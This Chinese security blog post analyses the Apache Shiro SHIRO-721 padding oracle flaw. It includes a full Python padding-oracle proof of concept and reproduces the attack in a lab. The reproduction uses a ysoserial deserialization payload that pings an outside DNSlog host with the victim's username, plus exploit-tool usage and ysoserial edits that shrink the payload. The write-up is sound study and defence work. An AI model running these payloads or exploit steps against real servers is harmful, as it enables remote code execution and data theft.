zoukankan      html  css  js  c++  java
  • Shiro Padding Oracle攻击分析

    本文由安全客首发,文章链接: https://www.anquanke.com/post/id/203869
    安全客 - 有思想的安全新媒体

    一、简介

    Shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    Padding填充规则,我们的输入数据长度是不规则的,因此必然需要进行“填充”才能形成完整的“块”。简单地说,便是根据最后一个数据块所缺少的长度来选择填充的内容。例如,数据块长度要求是8字节,如果输入的最后一个数据块只有5个字节的数据,那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长,则在最后补充一个完整的长为8字节的数据块,每个字节填0x8。如图-1所示,使用这个规则,我们便可以根据填充的内容来得知填充的长度,以便在解密后去除填充的字节。

    Padding Oracle Attack,这种攻击利用了服务器在 CBC(密码块链接模式)加密模式中的填充测试漏洞。如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。其中"Oracle"一词指的是“提示”,与甲骨文公司并无关联。加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。

     

    图-1

    二、加密方式拓普 

    加密方式通常分为两大类:对称加密和非对称加密

    对称加密又称单密钥加密,也就是字面意思,加密解密用的都是同一个密钥,常见的对称加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

    非对称加密,就是说密钥分两个,一个公钥,一个私钥,加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密,常见的非对称加密算法有,RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)等。

    对称加密算法中一般分为两种加密模式:分组加密和序列密码

    分组密码,也叫块加密(block cyphers),一次加密明文中的一个块。是将明文按一定的位长分组,明文组经过加密运算得到密文组,密文组经过解密运算(加密运算的逆运算),还原成明文组。

    序列密码,也叫流加密(stream cyphers),一次加密明文中的一个位。是指利用少量的密钥(制乱元素)通过某种复杂的运算(密码算法)产生大量的伪随机位流,用于对明文位流的加密。

    这里举例介绍对称加密算法的AES分组加密的五种工作体制:

    1. 电码本模式(Electronic Codebook Book (ECB))
    2. 密码分组链接模式(Cipher Block Chaining (CBC))
    3. 计算器模式(Counter (CTR))
    4. 密码反馈模式(Cipher FeedBack (CFB))
    5. 输出反馈模式(Output FeedBack (OFB))

    【一】、ECB-电码本模式

    这种模式是将明文分为若干块等长的小段,然后对每一小段进行加密解密

    【二】、CBC-密码分组链接模式

    跟ECB一样,先将明文分为等长的小段,但是此时会获取一个随机的 “初始向量(IV)” 参与算法。正是因为IV的参入,由得相同的明文在每一次CBC加密得到的密文不同。

    再看看图中的加密原理,很像是数据结构中的链式结构,第一个明文块会和IV进行异或运算,然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或,以此类推。

    【三】、CTR-计算器模式

    计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C),相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。

    【四】、CFB-密码反馈模式

    直接看图吧

    【五】、OFB-输出反馈模式

    看图

    从上述所述的几种工作机制中,都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候,就会用Padding的方式来填充目标。

     三、Padding Oracle攻击原理讲解

    当应用程序接受到加密后的值以后,它将返回三种情况:

    • 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
    • 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
    • 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)。

     

     这里从freebuf借来一张图,上图简单的概述了''TEST"的解密过程,首先输入密码经过加解密算法可以得到一个中间结果 ,我们称之为中间值,中间值将会和初始向量IV进行异或运算后得到明文

     那么攻击所需条件大致如下

    1. 拥有密文,这里的密文是“F851D6CC68FC9537”
    2. 知道初始向量IV
    3. 能够了解实时反馈,如服务器的200、500等信息。

     密文和IV其实可以通过url中的参数得到,例如有如下

    http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537

    上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是 IV和密文的组合,所以可以得到IV是“6D367076036E2239”

    再来看看CBC的解密过程

     已经有IV、密文,只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么

    Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
    Response: 500 - Internal Server Error

    得到一个500异常,这是因为填充的值和填充的数量不一致

    倘如发送如下数据信息的时候:

    Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
    Response: 200 OK

    最后的字节位上为0x01,正好满足Padding机制的要求。

    在这个情况下,我们便可以推断出中间值(Intermediary Value)的最后一个字节,因为我们知道它和0x3C异或后的结果为0x01,于是:

    因为 [Intermediary Byte] ^ 0x3C == 0x01, 
    得到 [Intermediary Byte] == 0x3C ^ 0x01, 
    所以 [Intermediary Byte] == 0x3D

     以此类推,可以解密出所有的中间值

     而此时块中的值已经全部填充为0x08了,IV的值也为“317B2B2A0F622E35”

     此时再将原本的IV与已经推测出的中间值进行异或就可以得到明文了

     当分块在一块之上时,如“ENCRYPT TEST”,攻击机制又是如何运作的呢?

     其实原理还是一样,在CBC解密时,先将密文的第一个块进行块解密,然后将结果与IV异或,就能得到明文,同时,本次解密的输入密文作为下一个块解密的IV。

    不难看出,下一段明文的内容是受到上一段密文的影响的,这里附上道哥写的一个demo

      1 """
      2     Padding Oracle Attack POC(CBC-MODE)
      3     Author: axis(axis@ph4nt0m.org)
      4     http://hi.baidu.com/aullik5
      5     2011.9
      6   
      7     This program is based on Juliano Rizzo and Thai Duong's talk on 
      8     Practical Padding Oracle Attack.(http://netifera.com/research/)
      9   
     10     For Education Purpose Only!!!
     11   
     12     This program is free software: you can redistribute it and/or modify
     13     it under the terms of the GNU General Public License as published by
     14     the Free Software Foundation, either version 3 of the License, or
     15     (at your option) any later version.
     16   
     17     This program is distributed in the hope that it will be useful,
     18     but WITHOUT ANY WARRANTY; without even the implied warranty of
     19     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     20     GNU General Public License for more details.
     21   
     22     You should have received a copy of the GNU General Public License
     23     along with this program.  If not, see <http://www.gnu.org/licenses/>.
     24 """
     25   
     26 import sys
     27   
     28 # https://www.dlitz.net/software/pycrypto/
     29 from Crypto.Cipher import *
     30 import binascii
     31   
     32 # the key for encrypt/decrypt
     33 # we demo the poc here, so we need the key
     34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env
     35 ENCKEY = 'abcdefgh'
     36   
     37 def main(args):
     38   print
     39   print "=== Padding Oracle Attack POC(CBC-MODE) ==="
     40   print "=== by axis ==="
     41   print "=== axis@ph4nt0m.org ==="
     42   print "=== 2011.9 ==="
     43   print
     44   
     45   ########################################
     46   # you may config this part by yourself
     47   iv = '12345678'
     48   plain = 'aaaaaaaaaaaaaaaaX'
     49   plain_want = "opaas"
     50   
     51   # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 
     52   cipher = "blowfish"
     53   ########################################
     54   
     55   block_size = 8
     56   if cipher.lower() == "aes":
     57     block_size = 16
     58   
     59   if len(iv) != block_size:
     60     print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
     61     return False
     62   
     63   print "=== Generate Target Ciphertext ==="
     64   
     65   ciphertext = encrypt(plain, iv, cipher)
     66   if not ciphertext:
     67     print "[-] Encrypt Error!"
     68     return False
     69   
     70   print "[+] plaintext is: "+plain
     71   print "[+] iv is: "+hex_s(iv)
     72   print "[+] ciphertext is: "+ hex_s(ciphertext)
     73   print
     74   
     75   print "=== Start Padding Oracle Decrypt ==="
     76   print
     77   print "[+] Choosing Cipher: "+cipher.upper()
     78   
     79   guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
     80   
     81   if guess:
     82     print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
     83     print "[+] plaintext = intermediary_value XOR original_IV"
     84     print "[+] Guess plaintext is: "+guess["plaintext"]
     85     print
     86   
     87     if plain_want:
     88       print "=== Start Padding Oracle Encrypt ==="
     89       print "[+] plaintext want to encrypt is: "+plain_want
     90       print "[+] Choosing Cipher: "+cipher.upper()
     91   
     92       en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
     93   
     94       if en:
     95         print "[+] Encrypt Success!"
     96         print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
     97         print "[+] IV is: "+hex_s(en[:block_size])
     98         print
     99         
    100         print "=== Let's verify the custom encrypt result ==="
    101         print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
    102         de = decrypt(en[block_size:], en[:block_size], cipher)
    103         if de == add_PKCS5_padding(plain_want, block_size):
    104           print de
    105           print "[+] Bingo!"
    106         else:
    107           print "[-] It seems something wrong happened!"
    108           return False
    109   
    110     return True
    111   else:
    112     return False
    113   
    114   
    115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
    116   # the last block
    117   guess_cipher = ciphertext[0-block_size:] 
    118   
    119   plaintext = add_PKCS5_padding(plaintext, block_size)
    120   print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
    121   print
    122   
    123   block = len(plaintext)
    124   iv_nouse = iv # no use here, in fact we only need intermediary
    125   prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
    126   while block > 0:
    127     # we need the intermediary value
    128     tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
    129   
    130     # calculate the iv, the iv is the ciphertext of the previous block
    131     prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
    132   
    133     #save result
    134     guess_cipher = prev_cipher + guess_cipher
    135   
    136     block = block - block_size
    137   
    138   return guess_cipher  
    139   
    140   
    141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
    142   # split cipher into blocks; we will manipulate ciphertext block by block
    143   cipher_block = split_cipher_block(ciphertext, block_size)
    144   
    145   if cipher_block:
    146     result = {}
    147     result["intermediary"] = ''
    148     result["plaintext"] = ''
    149   
    150     counter = 0
    151     for c in cipher_block:
    152       if debug:
    153         print "[*] Now try to decrypt block "+str(counter)
    154         print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
    155         print
    156       # padding oracle to each block
    157       guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
    158   
    159       if guess:
    160         iv = c
    161         result["intermediary"] += guess["intermediary"]
    162         result["plaintext"] += guess["plaintext"]
    163         if debug:
    164           print
    165           print "[+] Block "+str(counter)+" decrypt!"
    166           print "[+] intermediary value is: "+hex_s(guess["intermediary"])
    167           print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
    168           print
    169         counter = counter+1
    170       else:
    171         print "[-] padding oracle decrypt error!"
    172         return False
    173   
    174     return result
    175   else:
    176     print "[-] ciphertext's block_size is incorrect!"   
    177     return False
    178   
    179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
    180   result = {}
    181   plain = ''
    182   intermediary = []  # list to save intermediary
    183   iv_p = [] # list to save the iv we found
    184   
    185   for i in range(1, block_size+1):
    186     iv_try = []
    187     iv_p = change_iv(iv_p, intermediary, i)
    188   
    189     # construct iv
    190     # iv = x00...(several 0 bytes) + x0e(the bruteforce byte) + xdc...(the iv bytes we found)
    191     for k in range(0, block_size-i):
    192       iv_try.append("x00")
    193   
    194     # bruteforce iv byte for padding oracle
    195     # 1 bytes to bruteforce, then append the rest bytes
    196     iv_try.append("x00")
    197   
    198     for b in range(0,256):
    199       iv_tmp = iv_try
    200       iv_tmp[len(iv_tmp)-1] = chr(b)
    201      
    202       iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
    203   
    204       # append the result of iv, we've just calculate it, saved in iv_p
    205       for p in range(0,len(iv_p)):
    206         iv_tmp_s += iv_p[len(iv_p)-1-p]
    207        
    208       # in real attack, you have to replace this part to trigger the decrypt program
    209       #print hex_s(iv_tmp_s) # for debug
    210       plain = decrypt(ciphertext, iv_tmp_s, cipher)
    211       #print hex_s(plain) # for debug
    212   
    213       # got it!
    214       # in real attack, you have to replace this part to the padding error judgement
    215       if check_PKCS5_padding(plain, i):
    216         if debug:
    217           print "[*] Try IV: "+hex_s(iv_tmp_s)
    218           print "[*] Found padding oracle: " + hex_s(plain)
    219         iv_p.append(chr(b))
    220         intermediary.append(chr(b ^ i))
    221          
    222         break
    223   
    224   plain = ''
    225   for ch in range(0, len(intermediary)):
    226     plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
    227      
    228   result["plaintext"] = plain
    229   result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
    230   return result
    231   
    232 # save the iv bytes found by padding oracle into a list
    233 def change_iv(iv_p, intermediary, p):
    234   for i in range(0, len(iv_p)):
    235     iv_p[i] = chr( ord(intermediary[i]) ^ p)
    236   return iv_p  
    237   
    238 def split_cipher_block(ciphertext, block_size=8):
    239   if len(ciphertext) % block_size != 0:
    240     return False
    241   
    242   result = []
    243   length = 0
    244   while length < len(ciphertext):
    245     result.append(ciphertext[length:length+block_size])
    246     length += block_size
    247   
    248   return result
    249   
    250   
    251 def check_PKCS5_padding(plain, p):
    252   if len(plain) % 8 != 0:
    253     return False
    254   
    255   # convert the string
    256   plain = plain[::-1]
    257   ch = 0
    258   found = 0
    259   while ch < p:
    260     if plain[ch] == chr(p):
    261       found += 1
    262     ch += 1
    263   
    264   if found == p:
    265     return True
    266   else:
    267     return False
    268   
    269 def add_PKCS5_padding(plaintext, block_size):
    270   s = ''
    271   if len(plaintext) % block_size == 0:
    272     return plaintext
    273   
    274   if len(plaintext) < block_size:
    275     padding = block_size - len(plaintext)
    276   else:
    277     padding = block_size - (len(plaintext) % block_size)
    278    
    279   for i in range(0, padding):
    280     plaintext += chr(padding)
    281   
    282   return plaintext
    283   
    284 def decrypt(ciphertext, iv, cipher):
    285   # we only need the padding error itself, not the key
    286   # you may gain padding error info in other ways
    287   # in real attack, you may trigger decrypt program
    288   # a complete blackbox environment
    289   key = ENCKEY
    290   
    291   if cipher.lower() == "des":
    292     o = DES.new(key, DES.MODE_CBC,iv)
    293   elif cipher.lower() == "aes":
    294     o = AES.new(key, AES.MODE_CBC,iv)
    295   elif cipher.lower() == "des3":
    296     o = DES3.new(key, DES3.MODE_CBC,iv)
    297   elif cipher.lower() == "blowfish":
    298     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
    299   elif cipher.lower() == "cast":
    300     o = CAST.new(key, CAST.MODE_CBC,iv)
    301   elif cipher.lower() == "arc2":
    302     o = ARC2.new(key, ARC2.MODE_CBC,iv)
    303   else:
    304     return False
    305   
    306   if len(iv) % 8 != 0:
    307     return False
    308   
    309   if len(ciphertext) % 8 != 0:
    310     return False
    311   
    312   return o.decrypt(ciphertext)
    313   
    314   
    315 def encrypt(plaintext, iv, cipher):
    316   key = ENCKEY
    317   
    318   if cipher.lower() == "des":
    319     if len(key) != 8:
    320       print "[-] DES key must be 8 bytes long!"
    321       return False
    322     o = DES.new(key, DES.MODE_CBC,iv)
    323   elif cipher.lower() == "aes":
    324     if len(key) != 16 and len(key) != 24 and len(key) != 32:
    325       print "[-] AES key must be 16/24/32 bytes long!"
    326       return False
    327     o = AES.new(key, AES.MODE_CBC,iv)
    328   elif cipher.lower() == "des3":
    329     if len(key) != 16:
    330       print "[-] Triple DES key must be 16 bytes long!"
    331       return False
    332     o = DES3.new(key, DES3.MODE_CBC,iv)
    333   elif cipher.lower() == "blowfish":
    334     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
    335   elif cipher.lower() == "cast":
    336     o = CAST.new(key, CAST.MODE_CBC,iv)
    337   elif cipher.lower() == "arc2":
    338     o = ARC2.new(key, ARC2.MODE_CBC,iv)
    339   else:
    340     return False
    341   
    342   plaintext = add_PKCS5_padding(plaintext, len(iv))  
    343   
    344   return o.encrypt(plaintext)
    345   
    346 def xor_str(a,b):
    347   if len(a) != len(b):
    348     return False
    349   
    350   c = ''
    351   for i in range(0, len(a)):
    352     c += chr( ord(a[i]) ^ ord(b[i]) )
    353   
    354   return c
    355   
    356 def hex_s(str):
    357   re = ''
    358   for i in range(0,len(str)):
    359     re += "\x"+binascii.b2a_hex(str[i])
    360   return re
    361   
    362 if __name__ == "__main__":
    363         main(sys.argv)
    demo

    四、Shiro反序列化复现

    该漏洞是Apache Shiro的issue编号为SHIRO-721的漏洞

    官网给出的详情是:

    RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。

    相对于之前的SHIRO-550来说,这次的攻击者是无需提前知道加密的密钥。

    Shiro-721所影响的版本:

    1.2.5,
    1.2.6,
    1.3.0,
    1.3.1,
    1.3.2,
    1.4.0-RC2,
    1.4.0,
    1.4.1

    复现漏洞首先就是搭建环境,我这里从网上整了一个Shiro1.4.1的版本,漏洞环境链接:https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war

     先登陆抓包看一下

     此时有个RememberMe的功能,启用登陆后会set一个RememberMe的cookie

    我在网上找到一个利用脚本,我就用这个脚本来切入分析

    脚本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

     首先利用ceye.io来搞一个DNSlog。来作为yaoserial生成的payload

    java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class

    用法如下:

    java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

    因为Shiro是用AES-CBC加密模式,所以blockSize的大小就是16

     运行后会在后台不断爆破,payload越长所需爆破时间就越长。

    将爆破的结果复制替换之前的cookie

     就能成功触发payload收到回信了

    五、Shiro反序列化分析

     还是结合代码来理解会更好的了解到漏洞的原理。

    shrio处理Cookie的时候有专门的类----CookieRememberMeManager,而CookieRememberMeManager是继承与AbstractRememberMeManager

    在AbstractRememberMeManager类中有如下一段代码

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
            PrincipalCollection principals = null;
            try {
                byte[] bytes = getRememberedSerializedIdentity(subjectContext);
                //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
                if (bytes != null && bytes.length > 0) {
                    principals = convertBytesToPrincipals(bytes, subjectContext);
                }
            } catch (RuntimeException re) {
                principals = onRememberedPrincipalFailure(re, subjectContext);
            }
    
            return principals;
    }

     其中getRememberedSerializedIdentity函数解密了base64,跟进去看看

     1 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
     2 
     3         if (!WebUtils.isHttp(subjectContext)) {
     4             if (log.isDebugEnabled()) {
     5                 String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
     6                         "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
     7                         "immediately and ignoring rememberMe operation.";
     8                 log.debug(msg);
     9             }
    10             return null;
    11         }
    12 
    13         WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    14         if (isIdentityRemoved(wsc)) {
    15             return null;
    16         }
    17 
    18         HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    19         HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    20 
    21         String base64 = getCookie().readValue(request, response);
    22         // Browsers do not always remove cookies immediately (SHIRO-183)
    23         // ignore cookies that are scheduled for removal
    24         if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
    25 
    26         if (base64 != null) {
    27             base64 = ensurePadding(base64);
    28             if (log.isTraceEnabled()) {
    29                 log.trace("Acquired Base64 encoded identity [" + base64 + "]");
    30             }
    31             byte[] decoded = Base64.decode(base64);
    32             if (log.isTraceEnabled()) {
    33                 log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
    34             }
    35             return decoded;
    36         } else {
    37             //no cookie set - new site visitor?
    38             return null;
    39         }
    40     }

    该函数在21行处读取Cookie中的值,并在31行decode传入的Cookie

    在接着看刚才的getRememberedPrincipals函数,解密后的数组进入了convertBytesToPrincipals

    principals = convertBytesToPrincipals(bytes, subjectContext);
    1 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    2         if (getCipherService() != null) {
    3             bytes = decrypt(bytes);
    4         }
    5         return deserialize(bytes);
    6     }

    getCipherService()是返回了CipherService实例

     

     该实例在被初始化的时候就已经确定为AES实例

    并在getCipherService()返回不为空,调用this.decrypt()

     再跟进后发现进入了JcaCipherService的decrypt方法

     1 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
     2 
     3         byte[] encrypted = ciphertext;
     4 
     5         //No IV, check if we need to read the IV from the stream:
     6         byte[] iv = null;
     7 
     8         if (isGenerateInitializationVectors(false)) {
     9             try {
    10                 //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
    11                 //is:
    12                 // - the first N bytes is the initialization vector, where N equals the value of the
    13                 // 'initializationVectorSize' attribute.
    14                 // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
    15 
    16                 //So we need to chunk the method argument into its constituent parts to find the IV and then use
    17                 //the IV to decrypt the real ciphertext:
    18 
    19                 int ivSize = getInitializationVectorSize();
    20                 int ivByteSize = ivSize / BITS_PER_BYTE;
    21 
    22                 //now we know how large the iv is, so extract the iv bytes:
    23                 iv = new byte[ivByteSize];
    24                 System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
    25 
    26                 //remaining data is the actual encrypted ciphertext.  Isolate it:
    27                 int encryptedSize = ciphertext.length - ivByteSize;
    28                 encrypted = new byte[encryptedSize];
    29                 System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
    30             } catch (Exception e) {
    31                 String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
    32                 throw new CryptoException(msg, e);
    33             }
    34         }
    35 
    36         return decrypt(encrypted, key, iv);
    37 }    

    其中ivSize是128,BITS_PER_BYTE是8,所以iv的长度就是16

    并且将数组的前16为取作为IV,然后再传入下一个解密方法

    private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
            if (log.isTraceEnabled()) {
                log.trace("Attempting to decrypt incoming byte array of length " +
                        (ciphertext != null ? ciphertext.length : 0));
            }
            byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
            return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
    }

    这里的crypt方法会检测填充是否正确

    将处理后的数据一步步返回给convertBytesToPrincipals方法中的deserialize(bytes)

    其实就是org.apache.shiro.io.DefaultSerializer的deserialize方法

    造成最终的反序列化漏洞。

    六、利用代码分析

    我本来想直接贴代码注释的,但是想了想,不如用图文并茂的方式来呈现。更能让读者理解,同时也能激发读者的空间想象力带入到程序的运行步骤中。

     就先从encrypt方法开始吧

     1 public String encrypt(byte[] nextBLock) throws Exception {
     2         logger.debug("Start encrypt data...");
     3         byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize);    //按blocksize大小分割plainText
     4 
     5         if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) {
     6             logger.warn("You provide block's size is not equal blockSize,try to reset it...");
     7             nextBLock = new byte[this.blockSize];
     8         }
     9         byte randomByte = (byte) (new Random()).nextInt(127);
    10         Arrays.fill(nextBLock, randomByte);
    11 
    12         byte[] result = nextBLock;
    13         byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反转数组顺序
    14         this.encryptBlockCount = reverseplainTextBlocks.length;
    15         logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount));
    16 
    17         for (byte[] plainTextBlock : reverseplainTextBlocks) {
    18             nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock);    //加密块,
    19             result = ArrayUtil.mergerArray(nextBLock, result);      //result中容纳每次加密后的内容
    20 
    21             this.encryptBlockCount -= 1;
    22             logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount));
    23         }
    24 
    25         logger.info(String.format("Generate payload success, send request count => %s", this.requestCount));
    26 
    27         return Base64.getEncoder().encodeToString(result);
    28     }

    传进来的参数是null,所以nextBLock的值是由random伪随机函数生成的,然后反转数组中的顺序

    这里将分好块的payload带入到getBlockEncrypt方法中

    private byte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception {
            byte[] tmpIV = new byte[this.blockSize];
            byte[] encrypt = new byte[this.blockSize];
            Arrays.fill(tmpIV, (byte) 0);       //初始化tmpIV
    
            for (int index = this.blockSize - 1; index >= 0; index--) {
                tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock);    //函数返回测试成功后的中间值
                logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount));
            }
    
            for (int index = 0; index < this.blockSize; index++) {
                encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]);     //中间值与明文块异或得到IV,也就是上一个加密块的密文
            }
            return encrypt;
    }

    将tmpIV全部初始为0,记住这里循环了blockSize次

    接着往下跟this.findCharacterEncrypt()

     1 private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception {
     2         if (nextCipherTextBlock.length != this.blockSize) {
     3             throw new Exception("CipherTextBlock size error!!!");
     4         }
     5 
     6         byte paddingByte = (byte) (this.blockSize - index);     //本次需要填充的字节
     7         byte[] preBLock = new byte[this.blockSize];
     8         Arrays.fill(preBLock, (byte) 0);
     9 
    10         for (int ix = index; ix < this.blockSize; ix++) {
    11             preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]);    //更新IV
    12         }
    13 
    14         for (int c = 0; c < 256; c++) {
    15             //nextCipherTextBlock[index] < 256,那么在这个循环结果中构成的结果还是range(1,256)
    16             //所以下面两种写法都是正确的,当时看到原作者使用的是第一种方式有点迷,测试了下都可以
    17 //            preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c);
    18             preBLock[index] = (byte) c;
    19 
    20             byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe);    //RememberMe数据
    21             byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock);    //脏数据
    22             byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2);
    23             String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3);
    24             if (this.checkPaddingAttackRequest(remeberMe)) {
    25                 return (byte) (preBLock[index] ^ paddingByte);      //返回中间值
    26             }
    27         }
    28         throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!");
    29     }

    因为需要爆破的块是第几块所填充的字节就是多少,所以这里用blockSize-index算出本次循环需要填充的字节数

    然后在10行的循环处,是为了每次爆破完上一个IV,将计算出的中间值更新到tmpIV中,此时计算下一个时候只需要与下一个要匹配的值异或就能得到本次的IV。(如果这里没理解透的一定要多看几遍Padding填充原理)

    接下来就是爆破,循环256次依次爆破出正确的IV值。

    这里的mergerArray方法就是将参数二衔接到参数一的后面,组成一个新的字节数组

    这里借助安全客上的一张图:

     可以了解到之后所填充的脏数据是对反序列化没有影响的,通过这个机制就可以在之前的cookie上来运行Padding Oracle测试

    如下便是加密第一个payload块时候所生成的脏数据

     随后通过checkPaddingAttackRequest发送数据包测试,如果成功将IV与当前的填充字节异或就能得到中间值返回

    当本块所有IV都推测出之后与payload异或

    for (int index = 0; index < this.blockSize; index++) {
                encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]);     //中间值与明文块异或得到IV,也就是上一个加密块的密文
            }

     因为经费有限,搞到一个模糊但是直观的思维导图。

    将所有的加密块加密后在经过Base64编码输出,就能得到完整利用的RememberMe Cookie了

    七、给Payload瘦身

    因为加密密文块按照所划分的16个字节一块,如果一个3kb的payload所划分,能划分1024*3/16=192块!

    所以payload的大小直接的影响了攻击所需成本(时间)

    阅读先知的文章了解到,文章链接:https://xz.aliyun.com/t/6227

    只需要将下述代码更改(注释是需要更改的代码)

    public static class StubTransletPayload  {}
        /*
        *PayloadMini
        public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    
            private static final long serialVersionUID = -5971610431559700674L;
    
    
            public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
    
    
            @Override
            public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
        }
        */
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
            /*
            *PayloadMini
            Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes, ClassFiles.classAsBytes(Foo.class)
            });
            */

     然后重写打包yaoserial生成之前的payload

     字节:2787kb -> 1402kb

    直接从175块瘦身到了88块!

    同时payload也能成功运行!

    Reference:

    1. https://www.cnblogs.com/wh4am1/p/6557184.html
    2. https://blog.csdn.net/qq_25816185/article/details/81626499
    3. https://github.com/wuppp/shiro_rce_exp/blob/master/paddingoracle.py
    4. https://www.anquanke.com/post/id/192819
    5. 《白帽子讲Web安全》,吴翰清著
